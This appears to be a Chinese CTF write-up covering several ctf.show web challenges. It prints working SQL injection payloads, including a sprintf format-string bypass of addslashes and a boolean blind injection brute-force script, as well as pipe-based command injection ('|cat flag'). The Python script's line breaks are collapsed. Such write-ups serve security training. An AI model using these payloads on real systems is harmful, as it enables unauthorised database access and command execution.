给她
pyload:
1.dirsearch扫描,发现git
2. GitHack工具得到.git文件
<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>
addslashes函数+sping的漏洞
addslashes函数:在预定义的字符前面加上反斜杠
%1$ 的作用就是防止 ' 被过滤掉
输入 ?name=1&pass=%1$' or 1=1--+
在Cookie里发现file,16进制转字符串,为 flag.txt
把Cookie中的file赋值为 /flag (2F666C6167),注这里抓包是响应页面的包。
总结:
- 有关sql的题目,可以先用dirsearch扫描一下,说不定有发现
- git文件可以获得,用工具GitHack
签到题
命令注入,没有过滤特殊字符。
pyload:
?url=|ls; 发现flag ?url=|cat flag;
知识点:
|
是管道操作符,它将左侧命令的输出作为右侧命令的输入。
假赛生
提示:register.php login.php 大佬们别扫了
根据提示,存在 login.php、register.php,根据要求需要用户名为admin,尝试注册后发现已存在,接着尝试注册用户名 admin空格,接着用admin登录,发现登录成功。sql注入漏洞
接下来绕过正则匹配
if(isset($_GET['c'])){preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);echo $flag;
}
[\s]表示,只要出现空白就匹配
[\S]表示,非空白就匹配
\w 匹配包括下划线的任何单词字符。等价于" [A-Za-z0-9_] "
\W 匹配任何非单词字符。等价于" [^A-Za-z0-9_] "
[\s\S*] 与[\w\W*]其实也就是匹配任意字符,只要不输入就行了。
萌新记忆
布尔注入
dirsearch扫描,发现/admin
登录页面有两种情况
第一种:用户名正确,显示密码错误
第二种:显示用户名错误,这种情况有可能是验证用户名和验证密码是分步进行的
select uname from user where uname='xxx'
select uname,pwd from user where uname='xxx' and pwd='xxx'
当我们输入admin' or 1=1--+时,显示“我报警了”,说明存在注入
fuz测试一下,发现过滤了or
or 被过滤: 使用 || 绕过
# 和 – 被过滤:使用单引号闭合最后的单引号
'||length(p)<'5
:判断字段长度。
'||substr(p,1,1)<'a
:猜解字段。
脚本如下
import requestsflag = ''
for i in range(1, 18):for j in '0123456789abcdefghijklmnopqrstuvwxyz':url = "http://daabc47e-58a5-44d9-9838-9767cefb49f4.chall.ctf.show/admin/checklogin.php"data = {"u": "'||substr(p,{},1)<'{}".format(i,j),"p": ""}# print(data)c = requests.post(url, data=data)# print(c.text)if '用户名' not in c.text:flag += chr(ord(j)-1)print(flag)break
【CTF】利用 Burpsuite Fuzz 实现 SQL 注入 - 个人文章 - SegmentFault 思否